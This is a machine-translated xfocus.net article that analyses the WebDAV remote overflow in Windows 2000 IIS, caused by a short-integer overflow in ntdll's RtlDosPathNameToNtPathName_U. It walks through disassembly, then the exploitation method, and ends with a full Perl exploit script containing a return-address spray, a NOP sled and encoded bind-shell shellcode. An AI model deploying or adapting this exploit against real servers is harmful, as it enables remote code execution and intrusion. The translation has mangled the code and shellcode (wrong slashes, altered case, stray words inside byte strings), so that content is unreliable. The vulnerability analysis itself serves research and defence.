WebDAV Remote Overflow Vulnerability Analysis
Created on:
Article attributes: original
Source: http://www.xfocus.net
Article submission: isno (isno_at_sina.com)
WebDAV Remote Overflow Vulnerability Analysis
By isno@xfocus.org
I. Vulnerability Analysis
This vulnerability may have been discovered by some cool people in the past few years, but it has not been announced until recently Microsoft issued a security notice. Although WebDAV exploits this vulnerability through IIS, It is not caused by IIS, but by an API function in Ntdll. dll. That is to say, many applications that call this API have this vulnerability. The reference relationship of the entire vulnerability is as follows:
IIS-> WebDAV-> Kernel32! Getfileattributesexw-> NTDLL! RtlDosPathNameToNtPathName_U (overflow)
Getfileattributesexw is a common API function used to obtain file attributes. Its first parameter is the file name. Then call the RtlDosPathNameToNtPathName_U function in Ntdll. DLL to process the file name. If you give a super-long file name, it will cause overflow in the RtlDosPathNameToNtPathName_U function.
This overflow is essentially a short integer overflow, which then causes stack overflow. Many recent vulnerabilities are caused by integer overflow, which is worth studying.
When we send the following request to IIS, overflow will be triggered:
Search/[buffer (> 65513 bytes)] HTTP/1.0
Among them, IIS adds several byte paths before the buffer, and then transmits them to getfileattributesexw as the file name parameter. Then, getfileattributesexw passes the long string as a parameter to RtlDosPathNameToNtPathName_U, and then overflows.
Next let's take a look at how overflow occurs:
. Text: 77f8affc public RtlDosPathNameToNtPathName_U
. Text: 77f8affc RtlDosPathNameToNtPathName_U proc near; Code xref: sub_77f87f5c + 15 p
. Text: 77f8affc;. Text: 77f8d9f8p...
. Text: 77f8affc push EBP
. Text: 77f8affd mov EBP, ESP
. Text: 77f8afff push 0 ffffffffh
. Text: 77f8b001 push offset dword_77f8b1e8
. Text: 77f8b006 push offset sub_77f82b95
. Text: 77f8b00b mov eax, large FS: 0
. Text: 77f8b011 push eax
. Text: 77f8b012 mov large FS: 0, esp; Create exception chain
. Text: 77f8b019 push ECx
. Text: 77f8b01a push ECx
. Text: 77f8b01b sub ESP, 26ch
. Text: 77f8b021 push EBX
. Text: 77f8b022 push ESI
. Text: 77f8b023 push EDI
. Text: 77f8b024 mov [EBP + var_18], ESP
. Text: 77f8b027 xor ebx, EBX
. Text: 77f8b029 mov [EBP + var_58], EBX
. Text: 77f8b02c mov [EBP + var_3c], EBX
. Text: 77f8b02f mov EDI, 20ah
. Text: 77f8b034 mov ESI, EDI
. Text: 77f8b036 push [EBP + arg_0]; Path Unicode string
. Text: 77f8b039 Lea eax, [EBP + var_30]; unicode_string structure pointer
. Text: 77f8b03c push eax
. Text: 77f8b03d call rtlinitunicodestring
Call the rtlinitunicodestring function to initialize the unicode_string structure. The unicode_string structure is as follows:
Typedef struct _ unicode_string {
Ushort length; // Unicode string length, which can be a short integer. The maximum value is 0xffff or 65535.
Ushort maximumlength; // Unicode string can store the maximum length, short integer, and the maximum value can be 0xffff or 65535
Pwstr buffer; // address for storing Unicode strings
} Unicode_string * punicode_string;
Rtlinitunicodestring stores the path string in the buffer, calculates its length, and puts it in the length. Here, there is a short integer overflow. If the length of the path string exceeds 65535, because the length is a short integer, so it cannot be accommodated, it will overflow. For example, when the path length is 65536, the length is 0, which is different from the actual length. The length will be used later, leading to a general stack overflow.
. Text: 77f8b05a Lea eax, [EBP + var_270]
. Text: 77f8b060 mov [EBP + var_3c], eax
RtlDosPathNameToNtPathName_U address in the function stack. The distance from the function stack bottom is 0x270 bytes. The address is passed as a parameter to sub_77f8ac33.
. Text: 77f8b0a0 Lea eax, [EBP + var_274]
. Text: 77f8b0a6 push eax
. Text: 77f8b0a7 Lea eax, [EBP + var_38]
. Text: 77f8b0aa push eax
. Text: 77f8b0ab push [EBP + arg_8]
. Text: 77f8b0ae push [EBP + var_3c]; stack address obtained earlier [EBP + var_270]
. Text: 77f8b0b1 mov EDI, 208 H
. Text: 77f8b0b6 push EDI; length limit, 0x208
. Text: 77f8b0b7 Lea eax, [EBP + var_30]; initialized unicode_string structure pointer
. Text: 77f8b0ba push eax
. Text: 77f8b0bb call sub_77f8ac33; call sub_77f8ac33
. Text: 77f8ac33 sub_77f8ac33 proc near; Code xref: rtlgetfullpathname_u + 24 p
. Text: 77f8ac33; RtlDosPathNameToNtPathName_U + BFP...
......
. Text: 77f8ad96 mov dx, [EBP + var_30]
. Text: 77f8ad9a movzx ESI, DX
. Text: 77f8ad9d mov eax, [EBP + var_28]
. Text: 77f8ada0 Lea ECx, [eax + esi]; ECx is the length in the unicode_string structure.
. Text: 77f8ada3 mov [EBP + var_5c], ECx
. Text: 77f8ada6 CMP ECx, [EBP + arg_4]; length limit comparison, length and arg_4 parameters (0x208)
. Text: 77f8ada9 JNB loc_77f8e771; if the Unicode string length is greater than 0x208, it will jump to error handling
Here is a length limit, that is, the length of a unicode string cannot exceed 0x208 bytes, otherwise it is considered to be too long and no string copy is performed. However, because the length of the short integer overflows, it is much smaller than the actual length of the Unicode string, so the length limit is invalid, resulting in the subsequent overflow.
After the length limit is compared, the content in the buffer in the unicode_string structure will be copied to [arg_8 + offset] (the offset is very small ), that is, the stack Address [EBP + var_270] obtained above.
. Text: 77f8ae1b movzx ECx, [EBP + var_4c]
. Text: 77f8ae1f add ECx, [EBP + arg_8]; ECx is the stack address obtained above [EBP + var_270]
......
Next we will perform some string copy operations to copy the content in the buffer in the unicode_string structure to [arg_8 + offset.
. Text: 77f8ae63 mov [ECx], DX
. Text: 77f8ae66 add ECx, EBX
The string copy overflow will overwrite the return address of the RtlDosPathNameToNtPathName_U function and the created exception chain. Generally, we overwrite the exception handling pointer to the address we can control, so that when an exception is triggered later, we will skip to execute our shellcode.
The general process is like this. Of course there are some complicated processes, so I will not repeat them here.
Ii. Exploitation of Vulnerabilities
After Microsoft's announcement came out, I reproduced this vulnerability. However, since I had not done this for a long time, I had to relearn SoftICE commands before I could remember it. To write this exploit program, we found that Unicode conversion is very annoying, and there has been no common way to use it. Later, when a foreigner announced his exploit program, I found that the Unicode conversion between the Chinese version and the English version of Windows 2000 is different, and it is much more troublesome for the Chinese version of Win2000 exploit, as a foreigner, the exploit program cannot attack the Win2000 in the Chinese version.
After we pass "Search/[buffer] HTTP/1.0" to IIS, we first parse the buffer and perform multibytetowidechar conversion on the buffer, converts a buffer to a unicode format. The conversion between the Chinese version and the English version of Win2000 should be different, maybe the codePage to be converted is different, the English version may use cp_acp, and the Chinese version may use cp_utf *, I didn't know how to convert it. In short, the conversion results should be different in the Chinese and English versions.
This makes the Chinese version difficult to use, because some commands or return addresses can be directly put in the buffer in the English version, and will not change after conversion to Unicode. However, the Chinese version changes many bytes after conversion, which leads to unavailability. As mentioned above, IDA/idq overflow is also converted to Unicode. You can use % u to encode some bytes without conversion. Although WebDAV overflow can be controlled by % u Encoding without conversion, the actual debugging shows that some non-conforming bytes are changed. It is estimated that the multibytetowidechar conversion is performed for bytes with % u Encoding first, and then the widechartomultibyte is used for conversion back. Therefore, the characters that do not conform to the Unicode encoding rules are changed.
The most difficult problem is that the range of the return address that we use is greatly reduced. Only some characters that conform to the Unicode encoding specifications can be used. Otherwise, it will be converted. Visible character (0x20 ~ 0x7f) Of course it can be used, but it is difficult to use these characters to construct executable commands. Therefore, the address containing commands such as jmp ebx cannot be used as the return address, otherwise, it is difficult to use a command to jump to the shellcode even if it is returned to the buffer. The English version does not have this problem, but the published exploit does not use the % u Encoding and jmp ebx address method, but uses the stack address as the return address, as a result, the success rate of these exploit against English versions is not high.
It is a lot of trouble to deal with the Win2000 in the Chinese version. Because there are no characters that do not conform to the Unicode encoding in the buffer, it is better to directly use the shellcode address in the stack as the return address. In this way, we need to put as many NOP as possible before shellcode to occupy a relatively large memory space, so as to ensure that it is returned to NOP. The most data stored in the HTTP protocol is post data, so the shellcode is put here. The entire HTTP request is constructed as follows:
Search/[RET]... [RET] [aaa... aaa] [QQ] HTTP/1.0
HOST: isno
Content-Type: text/XML
Content-Length: [total length of NOP and shellcode]
[Nopnopnop... nopnop] [shellcode]
Because Aaaa... the length of AAAA is relatively long, so we are afraid that we will not be able to execute shellcode if it is returned here, so we need to place a jump command behind AAAA, because in the stack, NOP and shellcode are arranged behind AAAA (but not close to each other and there are useless characters in the middle ), therefore, if it is returned to AAAA, it will always execute the INC ECx command (0x41) and then jump to NOP. Because Unicode-compliant commands are used here, General JMP commands (0xeb) cannot be used. We will use a jno xxxx (0x71) command to jump back. Therefore, we put two Q (0x71) at the end of AAAA as the jump command, so that even if it is returned to AAAA, The Shellcode Execution At the end can be ensured.
For specific exploit programs, see the attachment program.
I have successfully tested several Chinese versions of Win2000 + SP2 and SP3, but some machines cannot succeed. You need to adjust the return address. So the versatility of this program is still not very good. In addition, the return address on some machines must have two bytes alignment. Therefore, the return address should be the same as the first two bytes and the last two bytes, for example, 0x00d700d7.
By the way, Perl is really a good thing, especially for string construction.
Iii. Summary
This is a typical stack overflow caused by integer overflow, which is similar to the previous ASP overflow, except that ASP overflow is caused by integer overflow. Another feature of this vulnerability is the overflow after Unicode conversion, which greatly increases the difficulty of exploitation.
Due to my extremely limited level and lack of time for more careful analysis, my understanding of some handling processes may be incorrect, and the analysis of this vulnerability must be flawed, maybe IIS has some special Conversion Processing procedures I have not found, which may cause this vulnerability to be easily exploited. The purpose of writing this article is to let the ox people publish the good exploit method and let me learn it.
Attached WebDAV remote overflow program:
----------------------------------------------------------------------
#! /Usr/bin/perl
#65514 by isno@xfocus.org
# Tested on Win2k SP3 Chinese Version
Use IO: socket;
If ($ # argv <0) {die "webdavx. pl IP/R/N ";}
$ Host = @ argv [0];
$ Port = 80;
$ Ret = "% u00d7 % u00d7" X 500;
$ Buf = "A" x 64502;
$ JMP = "bbbbbbbbbbbbqq"; # QQ = "/x71/x71" means jno xxxx
$ NOP = "/x90" x 40000;
$ SC =
"/X90/xeb/x03/x5d/xeb/x05/xe8/xf8/xFF/x83/xc5/x15/x90/x90 ".
"/X90/x8b/xc5/x33/xc9/x66/xb9/x10/x03/x50/X80/x30/x97/X40/xe2/xfa ".
"/X7e/x8e/x95/x97/x97/XCD/x1c/x4d/x14/x7c/x90/XFD/x68/xc4/xf3/x36 ".
"/X97/x97/x97/x97/xc7/xf3/x1e/XB2/x97/x97/x97/x97/Xa4/x4c/x2c/x97 ".
"/X97/x77/xe0/x7f/x4b/x96/x97/x97/x16/x6c/x97/x97/x68/x28/x98/x14 ".
"/X59/x96/x97/x97/x16/x54/x97/x97/x96/x97/xf1/x16/xac/xda/XCD/xe2 ".
"/Cross city/Xa4/x57/x1c/xd4/XAB/x94/x54/xf1/x16/xaf/xc7/xd2/xe2/x4e/x14 ".
"/X57/XeF/x1c/Xa7/x94/x64/x1c/xd9/x9b/x94/x5c/x16/XAE/xdc/xd2/xc5 ".
"/Xd9/xe2/X52/x16/xee/x93/xd2/XDB/Xa4/xa5/xe2/x2b/Xa4/x68/x1c/XD1 ".
"/Xb7/x94/x54/x1c/x5c/x94/x9f/x16/XAE/xd0/xf2/xe3/xc7/xe2/x9e/x16 ".
"/Xee/x93/xe5/xf8/xf4/xd6/xe3/x91/xd0/x14/x57/x93/x7c/x72/x94/x68 ".
"/X94/x6c/x1c/xc1/xb3/x94/x6d/Xa4/x45/xf1/x1c/X80/x1c/x6d/x1c/XD1 ".
"/X87/xdf/x94/x6f/Xa4/x5e/x1c/x58/x94/x5e/x94/x5e/x94/xd9/x8b/x94 ".
"/X5c/x1c/XAE/x94/x6c/x7e/xfe/x96/x97/x97/xc9/x10/X60/x1c/X40/Xa4 ".
"/X57/X60/x47/x1c/x5f/X65/x38/x1e/xa5/x1a/xd5/x9f/xc5/xc7/xc4/x68 ".
"/X85/XCD/x1e/xd5/x93/x1a/xe5/x82/xc5/xc1/x68/xc5/x93/XCD/Xa4/x57 ".
"/X3b/x13/x57/xe2/x6e/Xa4/x5e/x1d/x99/x13/x5e/xe3/x9e/xc5/xc1/xc4 ".
"/X68/x85/XCD/x3c/x75/x7f/XD1/xc5/xc1/x68/xc5/x93/XCD/x1c/x4f/Xa4 ".
"/X57/x3b/x13/x57/xe2/x6e/Xa4/x5e/x1d/x99/x17/x6e/x95/xe3/x9e/xc5 ".
"/Xc1/xc4/x68/x85/XCD/x3c/x75/Cross/Xa4/x57/xc7/xd7/xc7/xd7/xc7/x68 ".
"/Xc0/x7f/x04/XFD/x87/xc1/xc4/x68/xc0/x7b/XFD/x95/xc4/x68/xc0/x67 ".
"/Xa4/x57/xc0/xc7/x27/x9b/x3c/xcf/x3c/xd7/x3c/xc8/xdf/xc7/xc0/xc1 ".
"/X3a/xc1/x68/xc0/x57/xdf/xc7/xc0/x3a/xc1/x3a/xc1/x68/xc0/x57/xdf ".
"/X27/xD3/x1e/x90/xc0/x68/xc0/x53/Xa4/x57/x1c/XD1/x63/x1e/xd0/XAB ".
"/X1e/xd0/xd7/x1c/x91/x1e/xd0/xaf/Xa4/x57/xf1/x2f/x96/x96/x1e/xd0 ".
"/Xbb/xc0/xc0/Xa4/x57/xc7/xc7/xc7/xd7/xc7/xdf/xc7/xc7/x3a/xc1/Xa4 ".
"/X57/xc7/x68/xc0/x5f/x68/xe1/x67/x68/xc0/x5b/x68/xe1/x6b/x68/xc0 ".
"/X5b/xdf/xc7/xc7/xc4/x68/xc0/x63/x1c/x4f/Xa4/x57/x23/x93/xc7/x56 ".
"/X7f/x93/xc7/x68/xc0/x43/x1c/x67/Xa4/x57/x1c/x5f/x22/x93/xc7/xc7 ".
"/Xc0/xc6/xc1/x68/xe0/x3f/x68/xc0/x47/x14/xA8/x96/xeb/xb5/Xa4/x57 ".
"/Xc7/xc0/x68/xa0/xc1/x68/xe0/x3f/x68/xc0/x4b/x9c/x57/xe3/xb8/Xa4 ".
"/X57/xc7/x68/xa0/xc1/xc4/x68/xc0/x6f/XFD/xc7/x68/xc0/x77/x7c/x5f ".
"/Xa4/x57/xc7/x23/x93/xc7/xc1/xc4/x68/xc0/x6b/xc0/Xa4/x5e/xc6/xc7 ".
"/Xc1/x68/xe0/x3b/x68/xc0/x4f/XFD/xc7/x68/xc0/x77/x7c/X3D/xc7/x68 ".
"/Xc0/x73/x7c/x69/xcf/xc7/x1e/xd5/X65/x54/x1c/xD3/xb3/x9b/x92/x2f ".
"/X97/x97/x97/x50/x97/XeF/xc1/xa3/x85/Xa4/x57/x54/x7c/x7b/x7f/x75 ".
"/X6a/x68/x68/x7f/x05/x69/x68/x68/xdc/xc1/XI/xe0/xb4/x17/XI/xe0 ".
"/XDB/xf8/xf6/xf3/XDB/xfe/xf5/xe5/xf6/xe5/xee/xd6/x97/xdc/xd2/xc5 ".
"/Xd9/xd2/XDB/Xa4/xa5/x97/xd4/xe5/xf2/xf6/xe3/xf2/xc7/xfe/xe7/xf2 ".
"/X97/xd0/xf2/xe3/xc4/xe3/xf6/xe5/xe3/xe2/xe7/xde/xf9/xf1/xf8/xd6 ".
"/X97/xd4/xe5/xf2/xf6/xe3/xf2/xc7/xe5/xf8/xf4/xf2/xe4/xe4/xd6/x97 ".
"/Xd4/xfb/xf8/xe4/xf2/xdf/xf6/xf9/xf3/xfb/xf2/x97/xc7/xf2/xf2/xfc ".
"/Xd9/xf6/xfa/xf2/xf3/xc7/xfe/xe7/xf2/x97/xd0/xfb/xf8/xf5/xf6/xfb ".
"/Xd6/xfb/xf8/xf4/x97/xc0/xe5/xfe/xe3/xf2/XD1/xfe/xfb/xf2/x97 ".
"/Xc5/xf2/xf6/xf3/XD1/xfe/xfb/xf2/x97/xc4/xfb/xf2/xf2/xe7/x97/xd2 ".
"/XeF/xfe/xe3/xc7/xe5/xf8/xf4/xf2/xe4/xe4/x97/x97/xc0/xc4/xd8/xd4 ".
"/Xdc/Xa4/xa5/x97/xe4/xf8/xf4/xfc/xf2/xe3/x97/xf5/xfe/xf9/xf3/x97 ".
"/Xfb/xfe/xe4/xe3/xf2/xf9/x97/xf6/xf4/xf4/xf2/xe7/xe3/x97/xe4/xf2 ".
"/Xf9/xf3/x97/xe5/xf2/xf4/xe1/x97/x95/x97/x89/xfb/x97/x97/x97/x97 ".
"/X97/x97/x97/x97/x97/x97/x97/x97/xf4/xfa/xf3/xb9/xf2/XeF/xf2/x97 ".
"/X68/x68/x68/x68 ";
$ Socket = IO: Socket: iNet-> New (peeraddr => $ host, peerport => $ port, proto => "TCP", type => sock_stream) or die "couldn't connect :@! /N ";
Print $ socket "Search/$ RET $ Buf $ jmp http/1.0/R/N ";
Print $ socket "Host: isno/R/N ";
Print $ socket "Content-Type: text/XML/R/N ";
Print $ socket "Content-Length: 40804/R/n/R/N ";
Print $ socket "$ NOP $ SC/R/N ";
Print "Send buffer.../R/N ";
Print "telnet target 7788/R/N ";
Close ($ socket );
----------------------------------------------------------------------